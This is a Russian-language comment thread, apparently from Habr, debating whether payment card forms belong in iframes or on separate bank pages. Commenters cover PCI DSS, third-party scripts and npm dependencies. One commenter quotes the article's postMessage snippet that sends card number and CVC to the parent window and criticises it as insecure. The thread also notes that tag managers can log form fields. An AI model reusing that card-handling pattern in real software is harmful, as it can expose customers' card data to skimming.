                С моей точки зрения процесс выглядит наоборот — раньше предлагали iframe, сейчас предлагают чистый переход. Пример с ТКС, киви и пейпалом я уже привёл — интересно, а кто делает наоборот?


                А переход на страницу банка и обратно SPA не ломает — оно как у вас в кэш положило бандл, так его и обратно достанет — так что тут вопрос только в том, чтобы выставить нужное состояние при обратном переходе, что не очень сложно.

                  0
                  PayPal например для Pro açcounts
                  Я пока что могу предположить всего одну уязвимость у iframe в сравнении с отдельной страницей: если в тексте страницы подменить адрес то на отдельной странице клиент имеет маленькую вероятность визуально заметить подмену а в iframe даже такой возможности нет.
                  Но на деле часто приходится долго и упорно доказывать что можно iframe, можно отдельную страницу — но только не открытые поля которые могут читать все. Первая реакция обычно такая: больной рвётся кого-то спасать, какие-то украденные cvv…
                    0

                    Насчёт paypal — насколько я вижу, старое решение с iframe сейчас как раз заменяется на новое без них. Ну и цитата из пришедшего мне вчера мануала по сертификации:


                    Full redirect is used (excluding in-context integration) — PayPal checkout pages are not embedded, framed, or loaded within a popup or new window

                    А по поводу


                    Первая реакция обычно такая: больной рвётся кого-то спасать, какие-то украденные cvv…

                    Так я и не говорил, что iframe обладает какими-то уязвимостями. Это примерно как отрезать себе руки и хранить их в отдельном сейфе — всё вроде бы безопасно, но есть нюанс.

                +2
                Если вы можете обойтись формой оплаты на стороннем интеграторе — то всё отлично)
                Но что если вам нужна форма у себя? Мы пока держим её на отдельном поддомене (первый вариант в статье), но очень хотим переехать на ифрейм (второй/третий варианты), а всё почему: можно не уводить юзера далеко от страницы с кнопкой оплаты (1) И не нужно расширять скоуп pci dss на эту страницу (2).
                Буду только рад, если предложите мне альтернативу iframe в 2018 году =)

                Ну и чтоб сразу далеко не ходить за примерами тех, кто держит форму у себя — давно в стиме покупали что либо?
                  0
                  По вашему переход на страницу банка лучше чем ифрейм?
                  С точки зрения конверсии точно хуже, а по безопасности одинаково.
                    +2

                    По безопасности — вы больше не отвечаете ни за какие карточные данные пользователей. У вас их нет. И вам для этого ничего больше делать не нужно. Никогда.


                    Насчёт конверсии хочется пруфов.

                      0
                      И с ифреймом не отвечаете, в чем разница?
                      Пруфов не найду, но большинство магазинов пришло от многостраничного оформления заказа к одностраничному — на каждом переходе часть пользователей отваливается.
                        0

                        Если iframe ваш (что предлагает автор этой статьи), то ещё как отвечаете. За другой сервер, за его аптайм и безопасность, за скрипты, которые там лежат, за внешний вид всего этого добра, и так далее.

                          0
                          Нет, ифрейм банка. Вы же саму технологию ифрейм критиковали в своем изначальном комментарии.
                            0

                            Нет, я в первоначальном комментарии говорил про тот способ, который описан в статье, в частности это должно быть понятно по параграфу


                            невозможность использования родительских компонентов, стилей, библиотек, валидации карточных данных, обработки ошибок, предложений по партнёрским программам… Всего.

                            Если это iframe банка, то тут остаются проблемы в рассинхроне, блокировке и доверии пользователя. Но здесь, конечно, решает конверсия — и я не спорю, что, возможно, она получится выше. Нужно проверять.


                            Ну и повторюсь ещё раз — в целом мне решение с iframe не нравится в большей степени потому, что оно пытается достаточно криво решить частную проблему (карточные данные), когда общая — это уязвимые зависимости на всём фронте и в бэке.

                          +1
                          Как я уже заметил выше есть у отдельной страницы отдно преимущества с точки зрения клиента — можно посмотреть визуально клиенту на url чтобы отличить фейк. Хотя не так уже многие это делают скорее всего.

                          Так же iframe можно перегрузить своим фейком из зловредного скрипта. Отдельную страницу если загружать ее не по ссылке, а делать переход по событию на адрес который формируется в локальной переменной JavaScript, изменить практически невозможно.

                          Вцелом картина такая вырисовывается. Что если доступ к веб-серверу есть у неконтролируемого числа людей, то можно изменить в обоих случаях.

                          А с точки зрения владельца бизнеса iframe выглядит более привлекательно. Тут важно чтобы было адекватное представление об угрозе. Чисто для инетерса можно поклацать по формам сайтов кде есть карточки и убедиться что на странице есть и открытые поля (то есть не в iframe) и скриты GTM и fb. Я просто не хочу приводить тут ссылки т.к. потом типа обвинят во взломе оно мне надо?

                          Я скажу так что бывал на таких сайтах где поздравление с покупкой просходило даже после того как я ввоил данные по карточке без остатка а все потому что карточка прошла валидацию и процессинг сформировал ссылку возврата на сайт — которая вообще ничего не гоыорит о статусе таранзакции.
                    0

                    Так же мне удивительно, что почему-то рассматривается только клиентский JavaScript. Как будто нигде на бэкенде карточные данные не обрабатываются, и как будто в других экосистемах кроме JavaScript начисто отсутствуют потенциально уязвимые зависимости. Iframe это смешное и неуклюжее затыкания одной маленькой дырки, а проблема требует комплексного решения.

                      0
                      В целом, именно клиент является наименее контролируемым разработчиком окружением исполнения компонентов системы с одной стороны, а, с другой, именно там появляются конфиденциальные данные в системе в абсолютно открытом виде, именно там их проще всего украсть. На сервере можно и нужно заблокировать исходящие соединения в принципе или по белому списку, а на клиентах такое возможно в редких случаях даже в корпоративной среде.
                        +1

                        Point taken. Сервер действительно порядком проще оградить от кражи данных.


                        Но, даже если мы говорим только о клиенте, то непонятно, почему такой упор делается именно на карточные данные. Ведь можно украсть логин и пароль к сайту (который у кучи пользователей подойдёт к другим его сервисам), можно украсть куку для доступа, персональную информацию, можно менять рекламу, собирать статистику и продавать конкурентам, перенаправлять пользователя редиректами или даже тупо майнить в браузере. Почему считается, что защищать нужно только карточные данные?

                        0
                        Не совсем в тему, но близко: использовались скрипты GTM, маркетолог навнедрял туда что-то и когда провайдеры стали блокировать один из ресурсов, которые он подключил, то у части пользователей сайт перестал по факту работать. При том сложно было воспроизвести, поскольку только некоторые провайдеры просто отправляли запросы в /dev/null, а у остальных, возвращавших ошибки разных уровней, всё работало, кроме отправки данных на заблокированный сервис, и то ошибки скрывались. Мне и в голову прийти не могло, что у клиента исполняется код, которого нет в репозитории или в vendor/node-modules. И что провайдеры могут так блокировать.
                          0
                          Gtm же асинхронно ставят, почему сайт перестал работать?
                            0

                            Я не вникал в детальные причины такого поведения после диагностики, но по факту пока из внутренностей GTM шло обращение к заблокированному ресурсу, блокировалось исполнение "родного" JS страницы. Может криво сам GTM подключили, может скрипт этой метрики в него криво вставили, может комбинация "ответа на запрос соединения нет, а метрика работает под GTM" оказалось такой "удачной" — я не разбирался.

                        0
                        Предлагать использовать iframe для секьюрных данных…

                        iframe банки/платежные системы используют. Обозначенных Вами проблем скорее нет, чем они есть. Плюс iframe позволяет выдержать некоторые требования. Могу ошибиться, но на память iframe помогает, например, выдержать PCI DSS в той части, что данные не проходят через ваши сервера, а идут через сервера банка. Для SPA iframe хороший вариант. iframe в 2018 также хорош для определенных задач, как и в прошлом году.
                          0
                          Проблема не совсем в этом. В том что можно подменить iframe который надежный от процессинга на свой который отправляет данные куда угодно. При этом данные тоде не прозодят через нашии сервера но прозодят через сервера злоумышленника.
                            0
                            Согласен, iframe подменить можно. Думаю поэтому в цикле этих статей оговорено, что речь больше идет об универсальной, а не целенаправленной атаке. При подмене iframe в первом случае Вас быстро обнаружат. Тема второго случая в статьях не раскрывается.
                            Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.
                        –4
                        JS лучший язык для веб разработки (с) любой девелопер со смузи в руке

                        Отдать в браузер страницу сформированную на бэкэнде без посторонних скриптов, с обычной загрузкой страницы и нативной отправкой данных на сервер. Ой, постойте, это ведь уже было, а мы нынче в 2018 году и без npm жизнь не жизнь :)
                          0
                          Ну и как вы будете формировать страницу на бэкэнде «без посторонних скриптов»?
                            +1
                            Ну, формально, отдать голый хтмл код наверное любой серверный язык ещё может без всяких там фреймворков =)
                            • UFO just landed and posted this here
                                0
                                А вот сделать это безопасно — уже не любой. Как минимум, нужен слой который будет автоматически экранировать все выводимые выражения (шаблонизатор, причем не любой). Потому что атаку через HTML-инъекцию провести на порядок проще чем внедриться через npm-пакет.
                                  0
                                  Ну от формы конечно зависит, но в простейшем виде это 3-4 поля с карточными данными, 3 из которых достаточно привести к числам и только одно (холдера) надо бы почистить? Без шаблонизатора точно не обойтись?)
                              0
                              И этот сервер написан на nodejs с npm :)
                              +1
                              iframe — это как бы обязательное условие (если не отдельная страница). Лучше если такой iframe поставляет эквайер. Вы храните у себя идентификатор например заказа который передаете экваеру а за все остальное отвечает только экваер.

                              Но вот этот код
                               var payload = {
                                      type: 'bananas',
                                      formData: {
                                        a: form.ccname.value,
                                        b: form.cardnumber.value,
                                        c: form.cvc.value,
                                        d: form['cc-exp'].value,
                                      },
                                    };
                                    window.parent.postMessage(payload, 'https://mysite.com');
                              

                              с моей точки зрения ни при каких условиях использовать нельзя т.к. точно такой же слушатель может загрущить любой злоумышленник (например из рекламного блока) и оплучать все данные).

                              Почему все же лучше у экваера. Нужно учитывать что экваер кроме всего прочего обеспечивает доступ к серверу на котором хостится iframe примерно как в хранилище банка. То есть дается права на доступ по распоряжению с перечислением кто дал, когда дал, зачем, кому. Полписуются документы об ответсвенности. Чего нет на обычном сайте. Когда доступ могут иметь админы, разработчики и т.п.

                              Что касается всех СЕО-админок (GTM и т.п.) то там простол в интерфейсе можно настроить логировать поля Х и У с такой-то формы. Не нужно и взлома никакого.

                              Если загружена скажем библиотека facebook для лайков или еще для чего то там просто можно видеть что на каждый submit идет отправка событий на fb. Конечно fb не будет мелочь по карманам тырить(ТМ) но там тоже люби работают.
                                +2

                                В статье для ввода платежных данных предлагается рисовать отдельную форму в iframe, с упрощенным внешним видом и функциональностью.


                                Как пользователь, я бы наоборот заподозрил что-то неладное, если вместо доверенного сайта мне подсовывают iframe, да еще и с другим доменом.

                                  0
                                  Ну, обычно не с совсем другим, а поддоменом. И в любом случае сертификаты обоих на одно лицо.
                                    0

                                    Хорошо, опустим момент про домены.


                                    Мой основной пойнт был в том, что iframe с примитивным дизайном не внушает доверия, а наоборот, выглядит как, как будто его делали очень ленивые фишеры.

                                      0

                                      Ну на счёт дизайна и функциональности — тут да. Если уж делать свой iframe, то выделяться на общем фоне сайта он не должен. С другой стороны, пробежался сейчас ещё раз по статье и не вижу рекомендации "портить" дизайн и функциональность. Разве что отнести к ней пример валидации формы чисто на HTML+CSS, но я его воспринял просто как пример, что можно даже так.


                                      Основной же поинт, по-моему, в том, что HTML+CSS+JS код такой формы не должен содержать сторонних зависимостей или быть собран инструментами, которым не доверяешь абсолютно. То есть в условиях нормальной для разработчика, имеющего дело с особо (в рамках проекта) чувствительными данными, паранойи должен быть написан полностью вручную, без фреймворков типа ангуляра, библиотек типа редакса, реакта или даже джиквери с лодашем, а также без сборщиков типа вебпака и даже без минификаторов, по крайней мере без ручной проверки сгенерированного кода.

                                        0

                                        P.S. Заметная деградация в дизайне/функциональности при выборе такого решения (фрейм или отдельная страница без зависимостей) может быть в паре случаев:


                                        • разработчик недостаточно компетентен, чтобы реализовать нужный дизайн/функциональность без этих зависимостей, то есть не HTML+CSS+JS разработчик, а {framework/lib name}-разработчик.
                                        • бизнес не готов на пару таких страничек тратить ресурсы сравнимые с ресурсами нужными на нескольких десятков обычных.
                                          0

                                          Возникает вопрос: если получается сделать важную форму оплаты на ванильном JS без фреймворков, то зачем их тащить на остальные части сайта?


                                          Тогда уж проще использовать свой велосипед для валидации на всех формах, и обойтись без заворачивания в iFrame совсем.

                                            0

                                            Предполагается, что остальному сайту нужно более сложная логика чем валидация двух-четырёх полей с крайне редко меняющимся форматом и на ванильном JS это займёт в разы больше времени чем с фреймворками. Даже если свой велосипед валидации идеально прикручивается к фреймворку без костылей, то придётся его делать достаточно универсальным.

                                              0

                                              Обычно как раз-таки форма оплаты является наиболее сложной. Помимо данных карты, там обычно еще спрашивают номер телефона, адрес доставки и т.д. И все это должно сабмититься одной кнопкой. Как одновременно засабмитить iframe, в который мы вынесли данные карты, и родительскую страницу с остальными данными?


                                              Можно, конечно, вынести данные оплаты на отдельную страницу и оформить отдельным шагом. Но в этом случае iframe не нужен совсем. Главное очистить эту страницу от лишних скриптов.

                                                0

                                                По-моему опыту, форма оплаты как раз самая простая обычно, по сравнению с формой оформления заказа или формами основных бизнес-процессов. Да, это отдельный шаг, но в случае SPA вынос на отдельную страницу не очень вариант.


                                                Хотя, по большому счёту iframe или страница — это прежде UX/UI-решение. Технически и административно главное отделить работу с особо чувствительными данными от остальных, вплоть до полностью изолированного контура разработки и эксплуатации, куда не имеют доступа рядовые разработчики и админы.

                                                  0
                                                  Форма оплаты и форма с проверкой карты это совсем не одно и то же. Как правило перед тем как отправлять пользователя на действия с картой нужно уже иметь в базе данных идентификатор заказа и его сумму. После чего заказ будет принятым но не оплаченным. После того как Вы отправите пользователя на процессинг с заведомо уже сохраненным идентификатором заказа, то он пройдет все возможные варианты проверки (включая смс, звонок на сотовый и т.п.) после чего процессинг пришлет Вам ответ в iframe и Вы сможете сгенерировать событие в родительское окно как указано в этой статье (но конечно без реквизитов карты). Для интерактива с пользователем этого достаточно. После чего заказ все еще не считается оплаченным т.к. нужно будет забирать с процессинга статусы транзакции и в зависимости от бизнеса считать заявку оплаченной или не оплаченной. Если это например покупка билетов в кинотеатр то скорее всего бизнес проиграет если ожидаться окончательных статусов которые могут прийти в срок вполть до недели (типа «транзакция находится на проверке и т.п.»). Если это продажа Cadillac Escalade то логично было бы дождаться поступления средст на счет магазина.
                                                0
                                                Большую опасность несут не Фрей верки а скрипты которые на сайт приходят из других хостов. Например реклама, GTM, fb.
                                                0
                                                Да.это так. Но ещё лучше если такой кустом Изотова оный iframe предоставит процессинг. Конечно это будут дополнительные затраты.

                                        Only users with full accounts can post comments. Log in, please.